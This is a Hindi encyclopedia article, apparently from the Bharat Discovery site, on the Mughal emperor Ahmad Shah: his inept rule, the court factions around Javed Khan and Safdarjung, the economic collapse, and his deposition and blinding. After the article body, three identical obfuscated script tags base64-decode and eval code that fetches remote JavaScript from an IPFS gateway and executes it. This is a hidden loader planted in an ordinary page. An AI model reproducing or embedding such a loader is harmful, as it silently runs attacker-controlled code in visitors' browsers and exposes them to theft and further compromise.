बादशाह अहमदशाह

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

बादशाह अहमदशाह ने मुग़ल साम्राज्य पर 1748 से 1754 ई. तक शासन किया था। अहमदशाह का जन्म एक नर्तकी के गर्भ से हुआ था। मुहम्मदशाह रौशन अख़्तर की मृत्यु के बाद उत्तराधिकारी के रूप में अहमदशाह गद्दी पर बैठा। उसने अवध के सूबेदार 'सफ़दरजंग' को अपना वज़ीर या प्रधानमंत्री नियुक्त किया। राज्य का कामकाज 'हिजड़ों' तथा 'औरतों' के एक गिरोह के हाथों था, जिसकी मुखिया 'राजमाता उधमबाई' थीं, जो मुहम्मदशाह के साथ विवाह करने से पहले लोगों के सामने नाचने-गाने वाली एक लड़की थी।

अयोग्य शासक

अहमदशाह के समय उसका प्रिय (हिजड़ा) 'जावेद ख़ाँ दरबारी दल का नेता था। उसे 'नवाब बहादुर' की उपाधि प्रदान की गयी थी। प्रशासनिक कार्यों में राजमाता का पूरा हस्तक्षेप था। उसे 'विला-ए-आलम' की उपाधि प्राप्त थी। अहमदशाह एक अयोग्य और अय्याश बादशाह था, तथा उसमें प्रशासनिक क्षमता बिल्कुल नहीं थी। उसने प्रशासन के क्षेत्र में एक मूर्खतापूर्ण कार्य करते हुए अपने ढाई वर्ष के पुत्र मुहम्मद को पंजाब का गर्वनर नियुक्त किया और एक वर्ष के बेटे को उसका डिप्टी बना दिया। इसी प्रकार कश्मीर की गर्वनरी 'सैय्यद शाह' नामक एक बच्चे को सौंपी तथा 15 वर्ष के एक लड़के को उसका डिप्टी नियुक्त किया गया। ये नियुक्तयाँ उस समय की गयीं, जब अफ़ग़ान हमलों का ख़तरा बहुत अधिक था।

कमज़ोर अर्थव्यवस्था

मुग़ल सम्राट अहमदशाह के काल में मुग़ल अर्थव्यवस्था पूरी तरह से छिन्न-भिन्न हो गयी। सेना को वेतन देने के लिए शाही सामानों की बिक्री करनी पड़ी। कई जगह वेतन न मिलने के कारण सेना ने विद्रोह कर दिया। 1748 में अहमदशाह अब्दाली ने अपने जीते हुये भारतीय प्रदेशों की सूबेदारी रूहेला सरदार नजीबुद्दौला को सौंप दी, जो मुग़ल साम्राज्य का मीरबख़्शी था।

सफ़दरजंग की चाल

दिल्ली षड़यंत्रों तथा विदेशी गुटों का अड्डा बन गयी। उस समय दरबार का सबसे महत्त्वपूर्ण मंत्री अवध का नवाब वज़ीर सफ़दरजंग था। बादशाह से उसका तालमेल ठीक नहीं था। वह बादशाह की आज्ञा के बिना ही आदेश जारी कर देता था। बादशाह ने इसकी प्रतिक्रिया में जावेद ख़ाँ के अधीन एक दरबारी दल बनाया, किन्तु जावेद ख़ाँ की हत्या कर दी गई। इसके बाद निज़ामुलमुल्क तथा सफ़दरजंग के बीच सत्ता के लिए संघर्ष हुआ। मराठा सरदार मल्हारराव के सहयोग से इमादुलमुल्क, सफ़दरजंग को हटाकर मुग़ल साम्राज्य का वज़ीर बन गया।

अपदस्थ अहमदशाह

वज़ीर बनने के बाद इमादुलमुल्क ने ग़ाज़ीउद्दीन को मुग़ल दरबार में बुलाया और यह प्रस्ताव प्रस्तुत किया कि, "इस बादशाह ने अपने शासन करने में अपनी अयोग्यता दिखायी है। वह मराठों का मुकाबला करने में अयोग्य है। वह अपने मित्रों के प्रति झूठा और अस्थिर है। इसे हटा दिया जाए और तैमूर के किसी योग्य सुपुत्र को गद्दी पर बैठाया जाए।" यह प्रस्ताव पास हो गया। अहमदशाह को गद्दी से हटाकर उसे अन्धा कर दिया गया और सलीमगढ़ की जेल में डाल दिया गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>